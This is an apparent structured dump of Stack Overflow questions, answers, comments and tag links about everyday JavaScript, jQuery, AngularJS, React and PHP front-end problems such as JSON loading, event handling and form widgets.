has comment: http://stackoverflow.com/comment/40257154
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40256775
has comment: http://stackoverflow.com/comment/40257035
tagged with: java
has comment: http://stackoverflow.com/comment/40257149
has comment: http://stackoverflow.com/comment/40256894

http://stackoverflow.com/comment/40288668
type: QuestionComment
comment on: http://stackoverflow.com/q/25763800
has text: is not a checkbox, and your is not a button. What are you trying to do exactly here...?
score: 0
type: Comment

http://stackoverflow.com/comment/40453743
type: Comment
comment on: http://stackoverflow.com/q/25853925
type: QuestionComment
has text: In your included markup, you don't have any elements with an id `Div1` or `Div2`. Where do these exist?
score: 0

http://stackoverflow.com/comment/40425565
comment on: http://stackoverflow.com/a/25838371
score: 0
type: AnswerComment
type: Comment
has text: You can use a similar approach to return an object from an ajax call if you do not want the data available until after the document loads, though you would want to JSON_ENCODE the response in that case. This will let you fetch additional scripts, variables, etc from the server through ajax that can be dynamically generated on the server based on the criteria passed through the original ajax call.

http://stackoverflow.com/q/25723620
accepted answer: http://stackoverflow.com/a/25723942
score: 0
has comment: http://stackoverflow.com/comment/40218304
has answer: http://stackoverflow.com/a/25723942
linked to: http://stackoverflow.com/q/4064444
has comment: http://stackoverflow.com/comment/40215039
tagged with: wordpress
tagged with: php
has comment: http://stackoverflow.com/comment/40214831
type: AnsweredQuestion
has title: jQuery can't read JSON from PHP file
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40214600
has comment: http://stackoverflow.com/comment/40215097
type: Question
has body: I've managed to encode Wordpress data as JSON for a storelocator page but the page is failing to parse the JSON returned. It gives a 404 Not Found error in the console even though the file is present and is actually returning JSON data as it should. The storelocator JS (essential code): var settings = $.extend( { 'mapDiv': 'map', 'listDiv': 'loc-list', 'formContainerDiv': 'form-container', 'formID': 'user-location', 'inputID': 'address', 'dataType': 'json', 'dataLocation': 'http://localhost/website/wp-content/themes/custom/locations.php', 'jsonpCallback': null }, options); My PHP: &lt;?php global $table_prefix, $wpdb, $output_array; require_once('../../../wp-blog-header.php'); require_once('../../../wp-admin/includes/upgrade.php'); $output_array = array(); query_posts('category_name=business&amp;showposts=-1'); //query_posts('name='.$post_name.'&amp;showposts=-1'); while (have_posts()) : the_post(); $name = get_the_title(); $summary = get_the_content(); $lat = get_field( "lat", $post-&gt;ID ); $lng = get_field( "lng", $post-&gt;ID ); $address = get_field( "address", $post-&gt;ID ); $phone = get_field( "phone", $post-&gt;ID ); $web = get_field( "web", $post-&gt;ID ); array_push($output_array, array("id"=&gt;$post-&gt;ID, "name"=&gt;$name, "summary"=&gt;$summary, "lat"=&gt;$lat, "lng"=&gt;$lng, "address"=&gt;$address, "phone"=&gt;$phone, "web"=&gt;$web)); endwhile; //print_r($output_array); echo json_encode($output_array); ?&gt; Sample of the JSON returned: [{"id":76,"name":"AFRICAN ELITE PROPERTIES","summary":"Property development and management","lat":"-33.915025","lng":"18.421118","address":"Somerset Road, Green Point","phone":"021 421 1090","web":"www.africaneliteproperties.com"}] Note: When I copy the returned data into a JSON file and use that as the data location it works perfectly. I've checked file permissions and everything is fine. Where could I be going wrong?
answer count: 1
has comment: http://stackoverflow.com/comment/40214677
tagged with: javascript
has comment: http://stackoverflow.com/comment/40214849
tagged with: jquery

http://stackoverflow.com/comment/40461978
score: 0
type: Comment
has text: After your update, I was able to implement the new script and it works perfectly! Thanks! :-) (thetransformer.us home page)
comment on: http://stackoverflow.com/a/25716576
type: AnswerComment

http://stackoverflow.com/a/25777844
type: Answer
answers question: http://stackoverflow.com/q/25777392
has body: I don't know HAML but why don't you just wrap the div in an anchor tag? Stuff If you want to use jQuery you can use it's click function: http://api.jquery.com/click/
score: 0

http://stackoverflow.com/q/25800085
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/40355684
tagged with: javascript
has comment: http://stackoverflow.com/comment/40355869
has comment: http://stackoverflow.com/comment/40355837
has answer: http://stackoverflow.com/a/25800112
accepted answer: http://stackoverflow.com/a/25800112
score: 0
has answer: http://stackoverflow.com/a/25800192
has comment: http://stackoverflow.com/comment/40355769
has comment: http://stackoverflow.com/comment/40355906
has title: Using && in JavaScript
has comment: http://stackoverflow.com/comment/40355744
has comment: http://stackoverflow.com/comment/40355712
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25800192
has body: I've got the following. When I use only $('#plateread').show() the IF.....ELSE clauses work fine but when I add the $('#fix_2').show(); with &amp;&amp; it doesn't work. Can I not use &amp;&amp; symbol in this instance? Have I got it wrong? $(document).ready(function () { $('#select_rg').change(function (){ if($('#select_rg').val()=='Registered') $('#plateread').show() &amp;&amp; $('#fix_2').show(); else $('#plateread').hide() &amp;&amp; $('#fix_2').hide(); }) .change(); });
has comment: http://stackoverflow.com/comment/40355750

http://stackoverflow.com/q/25749851
has title: How to do Inner class object instantiaton with `new` Coffescript?
tagged with: syntax
answer count: 0
tagged with: java
tagged with: coffeescript
upvote count: 1
type: Question
has body: In Java, you could do something like this: public class World{ String name; World(String name){this.name = name;} public class WorldObject{ String type; WorldObject(String type){this.type = type;} String display(){ return type + " on " + name;} } //… public static void main(String[] args){ World w1 = new World("Jo"), w2 = new World("Kallisto"); WorldObject sand = w1.new WorldObject("sand"), rock = w2.new WorldObject("rock"); System.out.println(sand.display()); System.out.println(rock.display()); } } I wanted to emulate the same, or a similar, invocation syntax in coffeescript and ran into some anaesthetic formulations and am asking for some simpler solutions. First of, I'm pretty sure Javascript doesn't allow for the nice inference of name as Java does in this case, but please correct me if I'm wrong. Thus I figured I'd have to go with something like outer.name, but that's only of little concern. Note that this program prints sand on Jo rock on Kallisto as should the resulting coffee scripts. The simplest solution would be to go with a factory method.But I don't like factory methods, because the new keyword is always a very strong indicator that you create a new object. You could do that, but if you do, the instantiation of a WorldObject does look different. class World constructor: (@name) -&gt; worldObjectFactory: (bar) -&gt; new @WorldObject(bar,@) WorldObject: class @WorldObject constructor: (@bar, @outer) -&gt; display: ()-&gt; "#{@bar} in #{@outer.name}" w1 = new World "Jo" w2 = new World "Kallisto" sand = w1.worldObjectFactory "sand" rock = w2.worldObjectFactory "rock" console.log obj.display() for obj in [sand, rock] Another variation would be, to "sneak in" the outer object via defineProperty, but it looks ugly and messes with the things an user might expect. Furthermore, the syntax still isn't what I want (but the closest): class World constructor: (@name) -&gt; WorldObjectFactory = (outer) -&gt; class @WorldObject constructor: (@bar) -&gt; @outer = outer …
has comment: http://stackoverflow.com/comment/40405324
tagged with: javascript
has comment: http://stackoverflow.com/comment/40286576
downvote count: 0
score: 1
favorite count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/40354331
type: QuestionComment
type: Comment
has text: where's menu assigned? Any errors that you could share with us?
comment on: http://stackoverflow.com/q/25777232
score: 0

google-maps-markers
tags question: http://stackoverflow.com/q/25801825
tag name: google-maps-markers
type: Tag
tags question: http://stackoverflow.com/q/25836816

http://stackoverflow.com/q/25852995
type: UnansweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25853028
tagged with: javascript
tagged with: jquery
has body: I have this code to make one page :- $(window).load(function() { function filterPath(string) { return string .replace(/^\//,'') .replace(/(index|default).[a-zA-Z]{3,4}$/,'') .replace(/\/$/,''); } $('a[href*=#]').each(function() { if ( filterPath(location.pathname) == filterPath(this.pathname) &amp;&amp; location.hostname == this.hostname &amp;&amp; this.hash.replace(/#/,'') ) { var $targetId = $(this.hash), $targetAnchor = $('[name=' + this.hash.slice(1) +']'); var $target = $targetId.length ? $targetId : $targetAnchor.length ? $targetAnchor : true; if ($target) { var targetOffset = $target.offset().top + 50; $(this).click(function(e) { e.preventDefault(); $('html, body').animate({scrollTop: targetOffset}, 1400); var d = document.createElement("div"); d.style.height = "90%"; d.style.overflow = "hidden"; document.body.appendChild(d); window.scrollTo(0,scrollToM); setTimeout(function() { d.parentNode.removeChild(d); }, 10); return false; }); } } }); }); There are show me this error :- Uncaught ReferenceError: scrollToM is not defined What is the solution
has comment: http://stackoverflow.com/comment/40451894
score: 0
answer count: 1
has title: Why do I get Uncaught ReferenceError: scrollToM is not defined?

codekit
tags question: http://stackoverflow.com/q/25715147
type: Tag
tag name: codekit

http://stackoverflow.com/q/25839237
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25839269
tagged with: ajax
has body: I am Opening dynamically a page using Ajax, to prevent browser refresh. It opens and it runs scripts on the destination page. but before executing the script, I want them to retrieve the parameters like request.querystring but in Javascript. This is my code that opens the page. function cargarPagina(para1) { $.ajax({ url: "/tarea.aspx", context: document.body, data: { "p1": para1 }, type: 'POST', success: function (responseText) { $("#maincontent").html(responseText); $("#maincontent").find("script").each(function (i) { if ($(this).text() != "") { $("#maincontent").find("#hola").val(para1); //alert(para1); //eval($(this).text()); } }); }, async: true }); } After that, the tarea.aspx opens and executes scripts blah blah. But before executing scripts, I want to get the "para1" value that was sent within the ajax POST call. Any help would be much appreciated.
type: AnsweredQuestion
has title: How to get data param on the destination page from Ajax response call
type: Question
has answer: http://stackoverflow.com/a/25839269
tagged with: javascript
score: 0
tagged with: http-post
answer count: 1

http://stackoverflow.com/comment/40341233
score: 0
type: AnswerComment
has text: @Felix, you are right, actually I also overlooked the typo, thank you for spotting it, and also thanks for the simplification suggestion! ;)
type: Comment
comment on: http://stackoverflow.com/a/25791327

http://stackoverflow.com/q/25771543
has comment: http://stackoverflow.com/comment/40303177
answer count: 0
type: Question
has body: I need to get all class (and nested class) declarations from a stylesheet in IE8+ as well as the modern browsers. In modern browsers this is easy with: document.styleSheets[ 0 ][ "cssRules" ]; but this doesn't work in IE8. How would I make this work in IE8 (which does have document.stylesheets)?
has comment: http://stackoverflow.com/comment/40304678
has title: How get css rules (class declarations) from stylesheets across all desktop and mobile browsers back to IE8
tagged with: internet-explorer-8
tagged with: javascript
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40304021
tagged with: css
has comment: http://stackoverflow.com/comment/40303992

http://stackoverflow.com/a/25872724
answers question: http://stackoverflow.com/q/25871191
upvote count: 1
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/40506581
score: 1
has body: Sir please use ng-model to refer scope of the parent. here is what i have created demo for you [demo][1] [1]: http://jsfiddle.net/nwg7bwLx/

http://stackoverflow.com/comment/40288160
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25763521
has text: is data the files content or url?
score: 0

http://stackoverflow.com/q/25737167
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25737258
accepted answer: http://stackoverflow.com/a/25737248
has answer: http://stackoverflow.com/a/25737258
type: Question
has body: I've with me the feature of adding new rows to an existing table via the "Add Row" button using plain old javascript. This code was written by someone else and now I'm required to add something more to the existing functionality. For that reason I need to be able to target the dynamically added rows too but for some reason whenever I do (after adding 2-3 new rows and clicking "Submit" button) console.log($('table#tableid tbody tr').length); it is only retuning the number of rows which were loaded during the page load and skipping the new rows that were added dynamically. Here's the Fiddle to get you started. It's baffling really because I thought I knew jQuery well enough to be stumped by this....
has comment: http://stackoverflow.com/comment/40240745
tagged with: javascript
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/40240762
has answer: http://stackoverflow.com/a/25737248
tagged with: jquery
has title: Target Dynamically Added

http://stackoverflow.com/q/25791955
answer count: 1
has body: I seem to misunderstand some fundamental parts of React.js. In http://facebook.github.io/react/docs/component-api.html it says, that a react component has methods like setState(). But when I do this: var MyComp = React.createClass({ getInitialState: function() { return {dummy: "hello"}; }, render: function() { return React.DOM.h1(null, this.state.dummy + ", world!") } } var newComp = MyComp(null); React.renderComponent(newComp, myDomElement); MyComp.setState({dummy: "Good Bye"}); // Doesn't work. setState does not exist newComp.setState({dummy: "Good Bye"}); // Doesn't work either. setState does not exist There is no setState() method to be found. But in the docs it says Component API, so what am I getting wrong here?
has comment: http://stackoverflow.com/comment/40340439
has answer: http://stackoverflow.com/a/25792478
tagged with: reactjs
score: 8
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40340512
has comment: http://stackoverflow.com/comment/40340766
accepted answer: http://stackoverflow.com/a/25792478
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40340206
favorite count: 0
has title: react.js ReactComponent does not offer setState()?
upvote count: 8
has comment: http://stackoverflow.com/comment/40398712

http://stackoverflow.com/comment/40411569
score: 0
type: AnswerComment
has text: Technically speaking the `]` does not need to be escaped. It would only need to escaped within a character class. Also, the grouping operators `()` are superfluous. I would remove the first part of your answer, since it could be considered wrong.
type: Comment
comment on: http://stackoverflow.com/a/25777004

http://stackoverflow.com/a/33722057
upvote count: 1
type: Answer
downvote count: 0
score: 1
has body: The webOS engine support several stuff, Web Engine link And then you can see the default Luna Service API to do your project. If the messages you need to be send when the app on tv is open the above can work. If the app needs to be closed at tv then you need a JS service for this to happen. And finally you can read the messages at least from TV side with the one of the supported web engine technologies that webOS allows.
answers question: http://stackoverflow.com/q/25779210

http://stackoverflow.com/a/25718937
has comment: http://stackoverflow.com/comment/40219437
has comment: http://stackoverflow.com/comment/40211433
has comment: http://stackoverflow.com/comment/40216118
has comment: http://stackoverflow.com/comment/40292079
has comment: http://stackoverflow.com/comment/40225739
has comment: http://stackoverflow.com/comment/40221547
has comment: http://stackoverflow.com/comment/40293856
answers question: http://stackoverflow.com/q/25718271
has comment: http://stackoverflow.com/comment/40221623
has comment: http://stackoverflow.com/comment/40394010
has comment: http://stackoverflow.com/comment/40208535
has comment: http://stackoverflow.com/comment/40221564
has comment: http://stackoverflow.com/comment/40221207
score: 0
has comment: http://stackoverflow.com/comment/40220092
has comment: http://stackoverflow.com/comment/40292046
has comment: http://stackoverflow.com/comment/40213185
has comment: http://stackoverflow.com/comment/40216495
has comment: http://stackoverflow.com/comment/40208075
has comment: http://stackoverflow.com/comment/40219591
has comment: http://stackoverflow.com/comment/40213084
has comment: http://stackoverflow.com/comment/40219540
has comment: http://stackoverflow.com/comment/40221590
type: Answer
has body: Try this JSFiddle Demo JS: $(function() { $('input[type=checkbox]').each(function() { var span = $('&lt;span class="' + $(this).attr('type') + ' ' + $(this).attr('class') + '"&gt;&lt;/span&gt;').click(doCheck).mousedown(doDown).mouseup(doUp); if ($(this).is(':checked')) { span.addClass('checked'); } $(this).wrap(span).hide(); }); function doCheck() { if ($(this).hasClass('checked')) { if($('#disc').find(":checkbox:checked").length &gt;= 1) { $(this).removeClass('checked'); $(this).removeClass('red'); $(this).removeClass('green'); $(this).addClass('default'); $(this).children().prop("checked", false); } } else { console.log($('#disc').find(":checkbox:checked").length); if($('#disc').find(":checkbox:checked").length &lt; 2) { $(this).addClass('checked'); $(this).removeClass('default'); if($('#disc').find(":checkbox:checked").length &lt; 1) { $(this).addClass('green'); } else { $(this).addClass('red'); } $(this).children().prop("checked", true); } } } function doDown() { $(this).addClass('clicked'); } function doUp() { $(this).removeClass('clicked'); } }); CSS: .checkbox, .radio { width: 19px; height: 20px; padding: 0px; background: url("http://i48.tinypic.com/raz13m.jpg"); display: block; clear: left; float: left; } .checked { background-position: 0px -50px; } .clicked { background-position: 0px -25px; } .clicked.checked { background-position: 0px -75px; } .green { background-color: green; } .red { background-color: red; } .default { background-color: none; } Hope this is what you are looking for. PS: This is a slight modification I made to the accepted fiddle from CSS Styling Checkboxes, so credit for the background coloring goes to the original author Jeff B

http://stackoverflow.com/comment/40322163
score: 0
type: Comment
has text: i already update the code (javascript) with new code that u give to me, but when its get false input (file too big) php code / saving proccess still go on. i already put "return false;" but its not working to stop the proccess.
comment on: http://stackoverflow.com/a/25780539
type: AnswerComment

http://stackoverflow.com/a/25843971
type: AcceptedAnswer
has body: .controller('FooterCtrl', ["$scope",function($scope) { var showTime = false; $scope.$on('flip', function (event, args) { showTime = !showTime; }); }]); .controller('View3Ctrl', ["$scope",function($scope) { $scope.$emit('flip', args); }]); try this one
answers question: http://stackoverflow.com/q/25843945
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25843945

http://stackoverflow.com/comment/40355712
score: 0
has text: *"Can I not use && symbol in this instance?"* Depends on what you want to achieve. You can definitely use it, it's not a syntax error, but it might not achieve the effect you are after. But we can only truly help you if you tell us what you want to accomplish.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25800085

http://stackoverflow.com/comment/83456076
has text: it will find the current URL and it's parent and set active both(child and parent menu)
type: Comment
comment on: http://stackoverflow.com/a/48021172
score: 0
type: AnswerComment

http://stackoverflow.com/q/25712970
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/25713114
type: Question
tagged with: location
has title: angularJS change url notification
downvote count: 0
tagged with: url
tagged with: javascript
favorite count: 0
tagged with: angularjs
answer count: 3
accepted answer: http://stackoverflow.com/a/25713114
has body: For statistics purpose, I want to know how many time the url was change So I decalte a counter and I want to increase the counter every time the url is change. Anyone have any idea ?
has answer: http://stackoverflow.com/a/25713004
has answer: http://stackoverflow.com/a/25712999
upvote count: 1
possible better answer: http://stackoverflow.com/a/25712999

iframe
tags question: http://stackoverflow.com/q/25716169
tags question: http://stackoverflow.com/q/25784535
tags question: http://stackoverflow.com/q/25772413
tags question: http://stackoverflow.com/q/25732403
tags question: http://stackoverflow.com/q/25796037
tag name: iframe
tags question: http://stackoverflow.com/q/25758441
tags question: http://stackoverflow.com/q/25768931
tags question: http://stackoverflow.com/q/25848117
tags question: http://stackoverflow.com/q/25738910
tags question: http://stackoverflow.com/q/25753824
tags question: http://stackoverflow.com/q/25748673
tags question: http://stackoverflow.com/q/25816657
tags question: http://stackoverflow.com/q/25844283
tags question: http://stackoverflow.com/q/25838661
tags question: http://stackoverflow.com/q/25717188
tags question: http://stackoverflow.com/q/25776910
tags question: http://stackoverflow.com/q/25849004
tags question: http://stackoverflow.com/q/25734830
tags question: http://stackoverflow.com/q/25756415
tags question: http://stackoverflow.com/q/25715398
tags question: http://stackoverflow.com/q/25870042
tags question: http://stackoverflow.com/q/25869737
type: Tag
tags question: http://stackoverflow.com/q/25729477
tags question: http://stackoverflow.com/q/25857965
tags question: http://stackoverflow.com/q/25789461
tags question: http://stackoverflow.com/q/25868153
tags question: http://stackoverflow.com/q/25748050
tags question: http://stackoverflow.com/q/25865266
tags question: http://stackoverflow.com/q/25816526
tags question: http://stackoverflow.com/q/25730371
tags question: http://stackoverflow.com/q/25831512
tags question: http://stackoverflow.com/q/25728486
tags question: http://stackoverflow.com/q/25766556
tags question: http://stackoverflow.com/q/25745056
tags question: http://stackoverflow.com/q/25778877
tags question: http://stackoverflow.com/q/25866189
tags question: http://stackoverflow.com/q/25784806
tags question: http://stackoverflow.com/q/25783914

http://stackoverflow.com/a/41876260
has body: This is the official mocha solution: Mocha tests with extra options or parameters It allows you to define code that can be: 1 - Executed before npm start and npm test 2 - Executed before npm test only
downvote count: 0
type: Answer
score: 3
answers question: http://stackoverflow.com/q/25714193
upvote count: 3

http://stackoverflow.com/a/25883189
type: Answer
answers question: http://stackoverflow.com/q/25870068
has body: There is a problem when the user input contains spaces. Without spaces the posting works. Any idea what I have to fix in my code? Must be the JS site where I have to fix it.
has comment: http://stackoverflow.com/comment/40507723
score: 0

http://stackoverflow.com/a/25730259
has body: If you call the JS from an external file, you need to remove the &lt;SCRIPT&gt;&lt;/SCRIPT&gt; tags, otherwise you'll get an error. Your js file must contain only the Javascript code: function validateadlocation() { var checkboxs=document.getElementsByName("location"); var okay=false; for(var i=0,l=checkboxs.length;i&lt;l;i++) { if(checkboxs[i].checked) { okay=true; } } if(okay)alert("Thank you for checking a checkbox"); else alert("Please check a checkbox"); }
downvote count: 0
answers question: http://stackoverflow.com/q/25729717
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/a/25732396
type: Answer
has body: I would suggest iterating through the whole document of fields and re-calculating everything every time instead of trying to add a field at a time to the total cost. Any in-between method like this will result in an inaccurate total in many cases like you found, and additional quick-typing events, or edits.
score: 0
answers question: http://stackoverflow.com/q/25732338

http://stackoverflow.com/q/25775100
score: 3
has comment: http://stackoverflow.com/comment/40310484
has comment: http://stackoverflow.com/comment/40343202
upvote count: 3
has comment: http://stackoverflow.com/comment/40313613
has comment: http://stackoverflow.com/comment/40334665
type: Question
has comment: http://stackoverflow.com/comment/40362088
has title: Randomly very long cross domain ajax request with Symfony2
downvote count: 0
tagged with: javascript
tagged with: ajax
has comment: http://stackoverflow.com/comment/40312027
has body: I have two subdomains client.domain.com and server.domain.com The client is just a index.html with a simple jquery ajax POST request. $.ajax({ url: 'http://server.domain.com/upload', type: 'POST', success: function(response){ console.log(response); } }); The server runs symfony2 and has Access-Control-Allow-Origin headers set to '*'. The preflight OPTIONS request sent by the client is generally (80% of the time) very fast (100ms) and randomly very very long (10 to 15s timeline + headers). I tested to send OPTIONS requests with Postman and there is absolutely no problem, always fast, so it seems to come from the jquery ajax request. Also symfony2 web profiler says that nothing is wrong with the slow request, so it seems not to come from the server. I really dont know how to debug this, any suggestions ?
answer count: 1
linked to: http://stackoverflow.com/q/9699284
favorite count: 0
has comment: http://stackoverflow.com/comment/40349051
type: UnansweredQuestion
tagged with: symfony
has answer: http://stackoverflow.com/a/26849446

http://stackoverflow.com/comment/40350666
has text: You might want to look at this question which says to use `.css` instead: http://stackoverflow.com/questions/9260009/jquery-show-function-display-inline-block-how
comment on: http://stackoverflow.com/q/25797402
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25846453
tagged with: post
answer count: 1
tagged with: javascript
tagged with: jquery
score: 0
has answer: http://stackoverflow.com/a/25846511
has title: How can I get the value of data-id and post it into another page using jquery post?
type: UnansweredQuestion
has body: Here is my code &lt;a href="#view_contact" class="btn btn-info btn-xs view" data-id="&lt;=$row['ADMINISTRATOR_ID'];?&gt;" data-toggle="modal"&gt;View&lt;/a&gt; I need to be able to get the value of data-id and post it into another page. How will I do it? Kinda new at this stuff. I tried using the code below but it does not work. $(document).on('click', '.view', function() { var val = $(this).attr('data-id'); $.post('edit.php', {id: val}, function(data){ console.log(data); }); });
tagged with: php
type: Question
has comment: http://stackoverflow.com/comment/40440030

http://stackoverflow.com/q/25870993
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/68222945
has answer: http://stackoverflow.com/a/25966207
type: Question
score: 9
answer count: 2
possible better answer: http://stackoverflow.com/a/68222945
tagged with: javascript
tagged with: jquery
tagged with: http://stackoverflow.com/tag/html
favorite count: 0
upvote count: 9
has body: I'm trying to find a way to set a default value in selectize.js. I know that in jQuery you can use: $(".country").val("US"); But this doesnt work with Selectize. I already read the API documentation and I tried using: $(".country").selectize().setValue("US"); But it doesnt work either. I'm a newbie so I'm probably missing something here but can't figure out what. Any ideas?
has title: How to set a default value in selectize.js?
tagged with: selectize.js
accepted answer: http://stackoverflow.com/a/25966207

http://stackoverflow.com/q/25728502
has body: It's my first day actually experimenting with AngularJS and I'm hitting an error. Error: $injector:modulerr Module Error <a href="https://docs.angularjs.org/error/$injector/modulerr?p0=PP&p1=Error:%20%5B$injector:nomod%5D%20http:%2F%2Ferrors.angularjs.org%2F1.2.23%2F$injector%2Fnomod%3Fp0%3DPP%0A%20%20%20%20at%20Error%20(native)%0A%20%20%20%20at%20file:%2F%2F%2FUsers%2Fdrkameleon%2FDocuments%2FPeppermint%2FPeppermint%2Fhtml%2Fjs%2Fangular.min.js:6:450%0A%20%20%20%20at%20file:%2F%2F%2FUsers%2Fdrkameleon%2FDocuments%2FPeppermint%2FPeppermint%2Fhtml%2Fjs%2Fangular.min.js:20:494%0A%20%20%20%20at%20file:%2F%2F%2FUsers%2Fdrkameleon%2FDocuments%2FPeppermint%2FPeppermint%2Fhtml%2Fjs%2Fangular.min.js:21:502%0A%20%20%20%20at%20file:%2F%2F%2FUsers%2Fdrkameleon%2FDocuments%2FPeppermint%2FPeppermint%2Fhtml%2Fjs%2Fangular.min.js:33:267%0A%20%20%20%20at%20r%20(file:%2F%2F%2FUsers%2Fdrkameleon%2FDocuments%2FPeppermint%2FPeppermint%2Fhtml%2Fjs%2Fangular.min.js:7:290)%0A%20%20%20%20at%20e%20(file:%2F%2F%2FUsers%2Fdrkameleon%2FDocuments%2FPeppermint%2FPeppermint%2Fhtml%2Fjs%2Fangular.min.js:33:207)%0A%20%20%20%20at%20gc%20(file:%2F%2F%2FUsers%2Fdrkameleon%2FDocuments%2FPeppermint%2FPeppermint%2Fhtml%2Fjs%2Fangular.min.js:36:309)%0A%20%20%20%20at%20c%20(file:%2F%2F%2FUsers%2Fdrkameleon%2FDocuments%2FPeppermint%2FPeppermint%2Fhtml%2Fjs%2Fangular.min.js:18:170)%0A%20%20%20%20at%20fc%20(file:%2F%2F%2FUsers%2Fdrkameleon%2FDocuments%2FPeppermint%2FPeppermint%2Fhtml%2Fjs%2Fangular.min.js:18:387" rel="nofollow">Error Link The AngularJS code : var PP = angular.module('PP', []); PP.controller('documentController', function ($scope) { $scope.documents = [ { 'filename': 'Untitled-1', 'content': 'Content-1' }, { 'filename': 'Untitled-2', 'content': 'Content-2' }, { 'filename': 'Untitled-3', 'content': 'Content-3' }, ]; }); And the HTML: Bootstrap Core Template <!--[if lt IE 9]> <![endif]--> x {{document.filename}} {{document.content}} Any idea what is going on?
has title: Failed to load module
type: Question
score: 0
has comment: http://stackoverflow.com/comment/40224604
has comment: http://stackoverflow.com/comment/40224743
has comment: http://stackoverflow.com/comment/40223803
tagged with: javascript
has comment: http://stackoverflow.com/comment/40224068
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40224222
has comment: http://stackoverflow.com/comment/40224996
tagged with: node.js
has comment: http://stackoverflow.com/comment/40224680
answer count: 0
has comment: http://stackoverflow.com/comment/40224295
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40224838
has comment: http://stackoverflow.com/comment/40223733

http://stackoverflow.com/comment/40316583
type: Comment
type: QuestionComment
has text: so I'd see xxxxx in the result box
score: 0
comment on: http://stackoverflow.com/q/25778397

http://stackoverflow.com/q/25761377
has comment: http://stackoverflow.com/comment/40284701
type: Question
has body: Here my two div. '; Here my code to delete div class fb-like-box. window.fbAsyncInit = function() { FB.Event.subscribe('edge.create', function(response) { $( ".fb-like-box" ).remove(); }); }; My div have the same class but not the same id. When I subscribe to one I want to delete it. I can not put .fb-like-box because it deletes both even if I didn't like the other. Do I have to user Child/Parent ? Thanks
has answer: http://stackoverflow.com/a/25761817
answer count: 2
has comment: http://stackoverflow.com/comment/40284757
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40284493
tagged with: facebook
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has answer: http://stackoverflow.com/a/25761732
has title: Delete div after FB.Event.subscribe
type: UnansweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/40284959

http://stackoverflow.com/a/25747727
has comment: http://stackoverflow.com/comment/40259667
has comment: http://stackoverflow.com/comment/40259774
has comment: http://stackoverflow.com/comment/40260019
has comment: http://stackoverflow.com/comment/40259650
answers question: http://stackoverflow.com/q/25747683
type: Answer
upvote count: 1
has body: You're using ID, you can only bind click to 1 id not multiple ids. You should use the class to bind the .click function.
downvote count: 1
has comment: http://stackoverflow.com/comment/40259840
has comment: http://stackoverflow.com/comment/40259999
score: 0

http://stackoverflow.com/comment/40381917
comment on: http://stackoverflow.com/a/25814480
type: AnswerComment
score: 0
type: Comment
has text: I was using coffeescript :)

http://stackoverflow.com/q/25748547
downvote count: 1
has answer: http://stackoverflow.com/a/25748632
has body: excusme if the question is Amateur . In click on Button must the background color of button change to 3 Colors . I use Array , in first click must Color be a Red , second click Blue , Black and reset So i must scroll the Array from index 0 . this is a Code but dosent work . var color = ['red','blue','black']; var calo = function() { for (var i=0 ; i&lt;color.length ; i++) { return color[i]; } }; var farbe = function(){ return color[calo()]; }; $('#c2').click(function() { $(this).css('background',farbe()); });
accepted answer: http://stackoverflow.com/a/25748720
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25748720
possible better answer: http://stackoverflow.com/a/25748632
type: Question
answer count: 2
upvote count: 1
tagged with: arrays
tagged with: javascript
tagged with: jquery
favorite count: 0
score: 0
has title: Scroll Array onclick

http://stackoverflow.com/a/25775066
downvote count: 2
has body: You can get password field using the following query. document.querySelector('input[type="password"]').type = "text"; If you're dealing with more than one field, you can use querySelectorAll And loop through them. var pwds = document.querySelectorAll('input[type="password"]'); for (var i=0;i&lt;pwds.length;i++){ pwds[i].type = "text"; }
has comment: http://stackoverflow.com/comment/40310098
has comment: http://stackoverflow.com/comment/40310063
has comment: http://stackoverflow.com/comment/40310070
answers question: http://stackoverflow.com/q/25774934
type: Answer
has comment: http://stackoverflow.com/comment/40314996
upvote count: 3
score: 1

http://stackoverflow.com/q/25790219
has title: Angularjs, using conditional tags (like ng-if) inside restricted tag (like select or table)
has comment: http://stackoverflow.com/comment/40339076
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40338077
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40337613
has comment: http://stackoverflow.com/comment/40337661
has comment: http://stackoverflow.com/comment/40336817
has comment: http://stackoverflow.com/comment/40337565
type: UnansweredQuestion
has body: Here is simple example of what i want to achieve: Default {{k}} fld.opts1 is html string full of options: fld.opts1 = ' 1 <option .... ' fld.opts1 is simple array: fld.opts3 = ["peach","pineapple", ...]; Here i use span to specify condition, and this does not work because span is not allowed inside select, also i can't use option here, because this will be option nested in option and this is also invalid. Actually i want it to be some invisible tag, like <ng-if cond="fld.has_opts1"> which will disappear in final markup. How such kind of task should be currently solved in Angular ?
has comment: http://stackoverflow.com/comment/40336707
has comment: http://stackoverflow.com/comment/40336712
type: Question
has answer: http://stackoverflow.com/a/25790878
tagged with: javascript
has answer: http://stackoverflow.com/a/25793757
has comment: http://stackoverflow.com/comment/40337448
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/40336617

http://stackoverflow.com/q/25728486
tagged with: php
